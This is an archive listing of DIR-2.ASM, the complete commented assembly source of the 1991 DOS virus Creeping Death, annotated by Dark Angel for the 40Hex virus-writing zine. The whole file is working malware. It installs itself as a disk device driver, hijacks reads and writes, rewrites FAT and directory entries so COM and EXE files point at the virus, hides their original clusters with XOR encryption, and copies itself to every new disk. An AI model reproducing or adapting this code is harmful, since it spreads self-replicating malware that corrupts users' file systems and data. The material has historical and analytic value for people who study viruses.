home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DIR-2.ZIP / DIR-2.ASM
Assembly Source File  |  1996-03-22  |  30KB  |  566 lines

  1. ------------------------------------------------------------------------------
  2. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  3. ;                        I love it.  It is my life.  I worship the drive it
  4. ;                        infects.  Take a look at it.  Let not my troubles be
  5. ;                        in vain.  Why did I do this?  I sacrifice my life for
  6. ;                        the benefit of 40Hex.  If you don't read this, I'm
  7. ;                        gonna go join [NuKE].
  8.  
  9. ;        Creeping Death  V 1.0
  10. ;
  11. ;        (C) Copyright 1991 by VirusSoft Corp.
  12.  
  13. i13org    =    5f8h
  14. i21org    =    5fch
  15.  
  16. dir_2   segment byte public
  17.         assume  cs:dir_2, ds:dir_2
  18.  
  19.         org   100h
  20.  
  21. start:
  22.          mov   sp,600h                          ; Set up the stack pointer
  23.          inc   word ptr counter                 ; Generation counter
  24.          xor   cx,cx
  25.          mov   ds,cx                            ; DS points to interrupt table
  26.          lds   ax, ds:[0c1h]                    ; Find interrupt 30h
  27.          add   ax,21h                           ; Change it to Int 21h
  28.          push  ds                               ; Save it on stack for use by
  29.          push  ax                               ; subroutine "jump"
  30.          mov   ah,30h                           ; Get DOS version
  31.          call  jump
  32.          cmp   al,4                             ; DOS 4.X+ : SI = 0
  33.          sbb   si,si                            ; DOS 2/3  : SI = -1
  34.          mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
  35.                                                 ; "never accessed"
  36.          mov   bx,60h                           ; Adjust memory in ES to
  37.          mov   ah,4ah                           ; BX paragraphs.
  38.          call  jump
  39.  
  40.          mov   ah,52h                           ; Get DOS List of Lists
  41.          call  jump                             ; to ES:BX
  42.          push  es:[bx-2]                        ; Save Segment of first MCB
  43.          lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
  44.                                                 ;  (Drive parameter block)
  45. search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
  46.          cmp   ax,70h                           ; Is it CONFIG? (I think)
  47.          jne   next                             ; If not, try again
  48.          xchg  ax,cx                            ; Move driver segment to CX
  49.          mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
  50.          mov   di,[bx+si+13h]                   ; Save offset of device driver
  51.                                                 ; Original device driver
  52.                                                 ; address in CX:DI
  53.          mov   [bx+si+13h],offset header        ; Replace with our own
  54.          mov   [bx+si+15h],cs                   ;  (header)
  55. next:    lds   bx,[bx+si+19h]                   ; Get next device block
  56.          cmp   bx,-1                            ; Is it the last one?
  57.          jne   search                           ; If not, search it
  58.          jcxz  install
  59.  
  60.          pop   ds                               ; Restore segment of first
  61.          mov   ax,ds                            ; MCB
  62.          add   ax,ds:[3]                        ; Go to next MCB
  63.          inc   ax                               ; AX = segment next MCB
  64.          mov   dx,cs                            ; DX = MCB owning current
  65.          dec   dx                               ;      program
  66.          cmp   ax,dx                            ; Are these the same?
  67.          jne   no_boot                          ; If not, we are not currently
  68.                                                 ; in the middle of a reboot
  69.          add   word ptr ds:[3],61h              ; Increase length owned by
  70.                                                 ; MCB by 1552 bytes
  71. no_boot: mov   ds,dx                            ; DS = MCB owning current
  72.                                                 ; program
  73.          mov   word ptr ds:[1],8                ; Set owner = DOS
  74.  
  75.          mov   ds,cx                            ; DS = segment of original
  76.                                                 ;      device driver
  77.          les   ax,[di+6]                        ; ES = offset int handler
  78.                                                 ; AX = offset strategy entry
  79.          mov   word ptr cs:str_block,ax         ; Save entry point
  80.          mov   word ptr cs:int_block,es         ; And int block for use in
  81.                                                 ; function _in
  82.          cld                                    ; Scan for the write
  83.          mov   si,1                             ; function in the
  84. scan:    dec   si                               ; original device driver
  85.          lodsw
  86.          cmp   ax,1effh
  87.          jne   scan
  88.          mov   ax,2cah                          ; Wicked un-yar place o'
  89.          cmp   [si+4],ax                        ; doom.
  90.          je    right
  91.          cmp   [si+5],ax
  92.          jne   scan
  93. right:   lodsw
  94.          push  cs
  95.          pop   es
  96.          mov   di,offset modify+1               ; Save address of patch
  97.          stosw                                  ; area so it can be changed
  98.          xchg  ax,si                            ; later.
  99.          mov   di,offset i13org                 ; This is in the stack, but
  100.          cli                                    ; it is used by "i13pr"
  101.          movsw
  102.          movsw
  103.  
  104.          mov   dx,0c000h                        ; Scan for hard disk ROM
  105.                                                 ; Start search @ segment C000h
  106. fdsk1:   mov   ds,dx                            ; Load up the segment
  107.          xor   si,si                            ; atart at offset 0000h
  108.          lodsw                                  ; Scan for the signature
  109.          cmp   ax,0aa55h                        ; Is it the signature?
  110.          jne   fdsk4                            ; If not, change segment
  111.          cbw                                    ; clear AH
  112.          lodsb                                  ; load a byte to AL
  113.          mov   cl,9
  114.          sal   ax,cl                            ; Shift left, 0 filled
  115. fdsk2:   cmp   [si],6c7h
  116.          jne   fdsk3
  117.          cmp   word ptr [si+2],4ch
  118.          jne   fdsk3
  119.          push  dx                               ; Save the segment
  120.          push  [si+4]                           ; and offset on stack
  121.          jmp   short death                      ; for use by i13pr
  122.  
  123. install: int   20h
  124. file:    db    "c:",255,0
  125. fdsk3:   inc   si                               ; Increment search offset
  126.          cmp   si,ax                            ; If we are not too high,
  127.          jb    fdsk2                            ; try again
  128. fdsk4:   inc   dx                               ; Increment search segment
  129.          cmp   dh,0f0h                          ; If we are not in high
  130.          jb    fdsk1                            ; memory, try again
  131.  
  132.          sub   sp,4                             ; effectively push dummy vars.
  133. death:   push  cs                               ; on stack for use by i13pr
  134.          pop   ds
  135.          mov   bx,ds:[2ch]                      ; Get environment from PSP
  136.          mov   es,bx
  137.          mov   ah,49h                           ; Release it (to save memory)
  138.          call  jump
  139.          xor   ax,ax
  140.          test  bx,bx                            ; Is BX = 0?
  141.          jz    boot                             ; If so, we are booting now
  142.          mov   di,1                             ; and not running a file
  143. seek:    dec   di                               ; Search for end of
  144.          scasw                                  ; the environment block
  145.          jne   seek
  146.          lea   si,[di+2]                        ; SI points to filename
  147.          jmp   short exec                       ; (in DOS 3.X+)
  148.                                                 ; Execute that file
  149. boot:    mov   es,ds:[16h]                      ; get PSP of parent
  150.          mov   bx,es:[16h]                      ; get PSP of parent
  151.          dec   bx                               ; go to its MCB
  152.          xor   si,si
  153. exec:    push  bx
  154.          mov   bx,offset param                  ; Set up parameter block
  155.                                                 ; for EXEC function
  156.          mov   [bx+4],cs                        ; segment to command line
  157.          mov   [bx+8],cs                        ; segment to 1st FCB
  158.          mov   [bx+12],cs                       ; segment to 2nd FCB
  159.          pop   ds
  160.          push  cs
  161.          pop   es
  162.  
  163.          mov   di,offset f_name
  164.          push  di                               ; Save filename offset
  165.          mov   cx,40                            ; Copy the filename to
  166.          rep   movsw                            ; the buffer
  167.          push  cs
  168.          pop   ds
  169.  
  170.          mov   ah,3dh                           ; Handle open file
  171.          mov   dx,offset file                   ; "c: ",0
  172.          call  jump
  173.          pop   dx                               ; DS:DX -> filename
  174.  
  175.          mov   ax,4b00h                         ; Load and Execute
  176.          call  jump                             ; ES:BX = param block
  177.          mov   ah,4dh                           ; Get errorlevel
  178.          call  jump
  179.          mov   ah,4ch                           ; Terminate
  180.  
  181. jump:    pushf                                  ; Simulate an interrupt 21h
  182.          call  dword ptr cs:[i21org]
  183.          ret
  184.  
  185.  
  186. ;--------Installation complete
  187.  
  188. i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
  189.          jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
  190.                                                 ; head DH, drive DL
  191.  
  192.  
  193. main:    push  ax            ; driver
  194.          push  cx            ; strategy block
  195.          push  dx
  196.          push  ds
  197.          push  si
  198.          push  di
  199.  
  200.          push  es                               ; Move segment of parameter
  201.          pop   ds                               ; block to DS
  202.          mov   al,[bx+2]                        ; [bx+2] holds command code
  203.  
  204.          cmp   al,4                             ; Input (read)
  205.          je    input
  206.          cmp   al,8                             ; Output (write)
  207.          je    output
  208.          cmp   al,9                             ; Output (write) with verify
  209.          je    output
  210.  
  211.          call  in_                              ; Call original device
  212.          cmp   al,2                             ; Request build BPB
  213.          jne   ppp                              ; If none of the above, exit
  214.          lds   si,[bx+12h]                      ; DS:SI point to BPB table
  215.          mov   di,offset bpb_buf                ; Replace old pointer with
  216.          mov   es:[bx+12h],di                   ; a pointer to our own
  217.          mov   es:[bx+14h],cs                   ; BPB table
  218.          push  es                               ; Save segment of parameters
  219.          push  cs
  220.          pop   es
  221.          mov   cx,16                            ; Copy the old BPB table to
  222.          rep   movsw                            ; our own
  223.          pop   es                               ; Restore parameter segment
  224.          push  cs
  225.          pop   ds
  226.          mov   al,[di+2-32]                     ; AL = sectors per allocation
  227.          cmp   al,2                             ;      unit.  If less than
  228.          adc   al,0                             ;      2, increment
  229.          cbw                                    ; Extend sign to AH (clear AH)
  230.          cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
  231.          je    m32                              ; If so, big partition (>32MB)
  232.          sub   [di+8-32],ax                     ; Decrease space of disk by
  233.                                                 ; one allocation unit(cluster)
  234.          jmp   short ppp                        ; Exit
  235. m32:     sub   [di+15h-32],ax                   ; Handle large partitions
  236.          sbb   word ptr [di+17h-32],0
  237.  
  238. ppp:     pop   di
  239.          pop   si
  240.          pop   ds
  241.          pop   dx
  242.          pop   cx
  243.          pop   ax
  244. rts:     retf                                   ; We are outta here!
  245.  
  246. output:  mov   cx,0ff09h
  247.          call  check                            ; is it a new disk?
  248.          jz    inf_sec                          ; If not, go away
  249.          call  in_                              ; Call original device handler
  250.          jmp   short inf_dsk
  251.  
  252. inf_sec: jmp   _inf_sec
  253. read:    jmp   _read
  254. read_:   add   sp,16                            ; Restore the stack
  255.          jmp   short ppp                        ; Leave device driver
  256.  
  257. input:   call  check                            ; Is it a new disk?
  258.          jz    read                             ; If not, leave
  259. inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
  260.          cld
  261.          lea   si,[bx+0eh]                      ; Load from buffer address
  262.          mov   cx,8                             ; Save device driver request
  263. save:    lodsw                                  ; on the stack
  264.          push  ax
  265.          loop  save
  266.          mov   word ptr [bx+14h],1              ; Starting sector number = 1
  267.                                                 ; (Read 1st FAT)
  268.          call  driver                           ; Read one sector
  269.          jnz   read_                            ; If error, exit
  270.          mov   byte ptr [bx+2],2                ; Otherwise build BPB
  271.          call  in_                              ; Have original driver do the
  272.                                                 ; work
  273.          lds   si,[bx+12h]                      ; DS:SI points to BPB table
  274.          mov   ax,[si+6]                        ; Number root directory entries
  275.          add   ax,15                            ; Round up
  276.          mov   cl,4
  277.          shr   ax,cl                            ; Divide by 16 to find sectors
  278.                                                 ; of root directory
  279.          mov   di,[si+0bh]                      ; DI = sectors/FAT
  280.          add   di,di                            ; Double for 2 FATs
  281.          stc                                    ; Add one for boot record
  282.          adc   di,ax                            ; Add sector size of root dir
  283.          push  di                               ; to find starting sector of
  284.                                                 ; data (and read)
  285.          cwd                                    ; Clear DX
  286.          mov   ax,[si+8]                        ; AX = total sectors
  287.          test  ax,ax                            ; If it is zero, then we have
  288.          jnz   more                             ; an extended partition(>32MB)
  289.          mov   ax,[si+15h]                      ; Load DX:AX with total number
  290.          mov   dx,[si+17h]                      ; of sectors
  291. more:    xor   cx,cx
  292.          sub   ax,di                            ; Calculate FAT entry for last
  293.                                                 ; sector of disk
  294.          sbb   dx,cx
  295.          mov   cl,[si+2]                        ; CL = sectors/cluster
  296.          div   cx                               ; AX = cluster #
  297.          cmp   cl,2                             ; If there is more than 1
  298.          sbb   ax,-1                            ; cluster/sector, add one
  299.          push  ax                               ; Save cluster number
  300.          call  convert                          ; AX = sector number to read
  301.                                                 ; DX = offset in sector AX
  302.                                                 ;      of FAT entry
  303.                                                 ; DI = mask for EOF marker
  304.          mov   byte ptr es:[bx+2],4             ; INPUT (read)
  305.          mov   es:[bx+14h],ax                   ; Starting sector = AX
  306.          call  driver                           ; One sector only
  307. again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
  308.          add   si,dx                            ; Go to FAT entry
  309.          sub   dh,cl                            ; Calculate a new encryption
  310.          adc   dx,ax                            ; value
  311.          mov   word ptr cs:gad+1,dx             ; Change the encryption value
  312.          cmp   cl,1                             ; If there is 0 cluster/sector
  313.          je    small_                           ; then jump to "small_"
  314.          mov   ax,[si]                          ; Load AX with offset of FAT
  315.                                                 ; entry
  316.          and   ax,di                            ; Mask it with value from
  317.                                                 ; "convert" then test to see
  318.                                                 ; if the sector is fine
  319.          cmp   ax,0fff7h                        ; 16 bit reserved/bad
  320.          je    bad
  321.          cmp   ax,0ff7h                         ; 12 bit reserved/bad
  322.          je    bad
  323.          cmp   ax,0ff70h                        ; 12 bit reserved/bad
  324.          jne   ok
  325. bad:     pop   ax                               ; Tried to replicate on a bad
  326.          dec   ax                               ; cluster.  Try again on a
  327.          push  ax                               ; lower one.
  328.          call  convert                          ; Find where it is in the FAT
  329.          jmp   short again                      ; and try once more
  330. small_:  not   di                               ; Reverse mask bits
  331.          and   [si],di                          ; Clear other bits
  332.          pop   ax                               ; AX = cluster number
  333.          push  ax
  334.          inc   ax                               ; Need to do 2 consecutive
  335.          push  ax                               ; bytes
  336.          mov   dx,0fh
  337.          test  di,dx
  338.          jz    here
  339.          inc   dx                               ; Multiply by 16
  340.          mul   dx
  341. here:    or    [si],ax                          ; Set cluster to next
  342.          pop   ax                               ; Restore cluster of write
  343.          call  convert                          ; Calculate buffer offset
  344.          mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
  345.          add   si,dx
  346.          mov   ax,[si]
  347.          and   ax,di
  348. ok:      mov   dx,di                            ; DI = mask from "convert"
  349.          dec   dx
  350.          and   dx,di                            ; Yerg!
  351.          not   di
  352.          and   [si],di
  353.          or    [si],dx                          ; Set [si] to DI
  354.  
  355.          cmp   ax,dx                            ; Did we change the FAT?
  356.          pop   ax                               ; i.e. Are we already on this
  357.          pop   di                               ; disk?
  358.          mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
  359.          je    _read_                           ; If we didn't infect, then
  360.                                                 ; leave the routine.  Oh
  361.                                                 ; welp-o.
  362.          mov   dx,[si]
  363.          push  ds
  364.          push  si
  365.          call  write                            ; Update the FAT
  366.          pop   si
  367.          pop   ds
  368.          jnz   _read_                           ; Quit if there's an error
  369.          call  driver
  370.          cmp   [si],dx
  371.          jne   _read_
  372.          dec   ax
  373.          dec   ax
  374.          mul   cx                               ; Multiply by sectors/cluster
  375.                                                 ; to find the sector of the
  376.                                                 ; write
  377.          add   ax,di
  378.          adc   dx,0
  379.          push  es
  380.          pop   ds
  381.          mov   word ptr [bx+12h],2              ; Byte/sector count
  382.          mov   [bx+14h],ax                      ; Starting sector #
  383.          test  dx,dx
  384.          jz    less
  385.          mov   word ptr [bx+14h],-1             ; Flag extended partition
  386.          mov   [bx+1ah],ax                      ; Handle the sector of the
  387.          mov   [bx+1ch],dx                      ; extended partition
  388. less:    mov   [bx+10h],cs                      ; Transfer address segment
  389.          mov   [bx+0eh],100h                    ; and the offset (duh)
  390.          call  write                            ; Zopy ourselves!
  391.                                                 ; (We want to travel)
  392. _read_:  std
  393.          lea   di,[bx+1ch]                      ; Restore device driver header
  394.          mov   cx,8                             ; from the stack
  395. load:    pop   ax
  396.          stosw
  397.          loop  load
  398. _read:   call  in_                              ; Call original device handler
  399.  
  400.          mov   cx,9
  401. _inf_sec:
  402.          mov   di,es:[bx+12h]                   ; Bytes/Sector
  403.          lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
  404.          sal   di,cl                            ; Multiply by 512
  405.                                                 ; DI = byte count
  406.          xor   cl,cl
  407.          add   di,si                            ; Go to address in the buffer
  408.          xor   dl,dl                            ; Flag for an infection in
  409.                                                 ; function find
  410.          push  ds
  411.          push  si
  412.          call  find                             ; Infect the directory
  413.          jcxz  no_inf
  414.          call  write                            ; Write it back to the disk
  415.          and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
  416.                                                 ; word
  417. no_inf:  pop   si
  418.          pop   ds
  419.          inc   dx                               ; Flag for a decryption in
  420.                                                 ; function find
  421.          call  find                             ; Return right information to
  422.                                                 ; calling program
  423.          jmp   ppp
  424.  
  425. ;--------Subroutines
  426.  
  427. find:    mov   ax,[si+8]                        ; Check filename extension
  428.          cmp   ax,"XE"                          ; in directory structure
  429.          jne   com
  430.          cmp   [si+10],al
  431.          je    found
  432. com:     cmp   ax,"OC"
  433.          jne   go_on
  434.          cmp   byte ptr [si+10],"M"
  435.          jne   go_on
  436. found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
  437.          jnz   go_on                            ; to see if it is too big
  438.          test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
  439.          jz    go_on                            ; to see if it is too small
  440.          test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
  441.          jnz   go_on                            ; volume label or system file
  442.          test  dl,dl                            ; If none of these, check DX
  443.          jnz   rest                             ; If not 0, decrypt
  444. pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
  445.          cmp   ax,[si+1ah]                      ; Check for same starting
  446.                                                 ; cluster number as us
  447.          je    go_on                            ; If it is, then try another
  448.          xchg  ax,[si+1ah]                      ; Otherwise make it point to
  449.                                                 ; us.
  450. gad:     xor   ax,1234h                         ; Encrypt their starting
  451.                                                 ; cluster
  452.          mov   [si+14h],ax                      ; And put it in area reserved
  453.                                                 ; by DOS for no purpose
  454.          loop  go_on                            ; Try another file
  455. rest:    xor   ax,ax                            ; Disinfect the file
  456.          xchg  ax,[si+14h]                      ; Get starting cluster
  457.          xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
  458.          mov   [si+1ah],ax                      ; and put it back
  459. go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
  460.          dw    offset gad+1                     ; Change encryption and
  461.          add   si,32                            ; go to next file
  462.          cmp   di,si                            ; If it is not past the end of
  463.          jne   find                             ; the buffer, then try again
  464.          ret                                    ; Otherwise quit
  465.  
  466. check:   mov   ah,[bx+1]                        ; ah = unit code (block device
  467.                                                 ;                 only)
  468. drive:   cmp   ah,-1                            ; cmp ah, XX can change.
  469.                                                 ; Compare with the last call
  470.                                                 ; -1 is just a dummy
  471.                                                 ; impossible value that will
  472.                                                 ; force the change to be true
  473.          mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
  474.          jne   changed                          ; If not the same as last call
  475.                                                 ; media has changed
  476.          push  [bx+0eh]                         ; If it is the same physical
  477.                                                 ; drive, see if floppy has
  478.                                                 ; been changed
  479.          mov   byte ptr [bx+2],1                ; Tell original driver to do a
  480.          call  in_                              ; media check (block only)
  481.          cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
  482.          pop   [bx+0eh]                         ; media has not been changed
  483.          mov   [bx+2],al                        ; Restore command code
  484. changed: ret                                    ; CF,ZF set if media has not
  485.                                                 ; been changed, not set if
  486.                                                 ; has been changed or we don't
  487.                                                 ; know
  488. write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
  489.          jae   in_                              ; original device handler
  490.                                                 ; and return to caller
  491.          mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
  492.          mov   si,70h
  493.          mov   ds,si                            ; DS = our segment
  494. modify:  mov   si,1234h                         ; Address is changed elsewhere
  495.          push  [si]
  496.          push  [si+2]
  497.          mov   [si],offset i13pr
  498.          mov   [si+2],cs
  499.          call  in_                              ; Call original device handler
  500.          pop   [si+2]
  501.          pop   [si]
  502.          ret
  503.  
  504. driver:  mov   word ptr es:[bx+12h],1           ; One sector
  505. in_:                                            ; in_ first calls the strategy
  506.                                                 ; of the original device
  507.                                                 ; driver and then calls the
  508.                                                 ; interrupt handler
  509.          db    09ah                             ; CALL FAR PTR
  510. str_block:
  511.          dw    ?,70h                            ; address
  512.          db    09ah                             ; CALL FAR PTR
  513. int_block:
  514.          dw    ?,70h                            ; address
  515.          test  es:[bx+4],byte ptr 80h           ; Was there an error?
  516.          ret
  517.  
  518. convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
  519.          jae   fat_16                           ; 0FF0h = reserved cluster
  520.          mov   si,3                             ; 12 bit FAT
  521.          xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
  522.          mul   si                               ; Multiply by 3 and
  523.          shr   ax,1                             ; divide by 2
  524.          mov   di,0fffh                         ; Mark it EOF (low 12 bits)
  525.          jnc   cont                             ; if it is even, continue
  526.          mov   di,0fff0h                        ; otherwise, mark it EOF (high
  527.          jmp   short cont                       ; 12 bits) and then continue
  528. fat_16:  mov   si,2                             ; 16 bit FAT
  529.          mul   si                               ; Double cluster #
  530.          mov   di,0ffffh                        ; Mark it as end of file
  531. cont:    mov   si,512
  532.          div   si                               ; AX = sector number
  533.                                                 ; (relative to start of FAT)
  534.                                                 ; DX = offset in sector AX
  535. header:  inc   ax                               ; Increment AX to account for
  536.          ret                                    ; boot record
  537.  
  538. counter: dw    0
  539.  
  540.          dw    842h                             ; Attribute
  541.                                                 ;  Block device
  542.                                                 ;  DOS 3 OPEN/CLOSE removable
  543.                                                 ;        media calls supported
  544.                                                 ;  Generic IOCTL call supported
  545.                                                 ; Supports 32 bit sectors
  546.          dw    offset main                      ; Strategy routine
  547.          dw    offset rts                       ; Interrupt routine (rtf)
  548.          db    7fh                              ; Number of subunits supported
  549.                                                 ; by this driver.  Wow, lookit
  550.                                                 ; it -- it's so large and juicy
  551.  
  552. ; Parameter block format:
  553. ; 0  WORD Segment of environment
  554. ; 2 DWORD pointer to command line
  555. ; 6 DWORD pointer to 1st default FCB
  556. ;10 DWORD pointer to 2nd default FCB
  557. param:   dw    0,80h,?,5ch,?,6ch,?
  558.  
  559. bpb_buf: db    32 dup(?)
  560. f_name:  db    80 dup(?)
  561.  
  562. ;--------The End.
  563. dir_2   ends
  564.         end     start
  565.  
  566.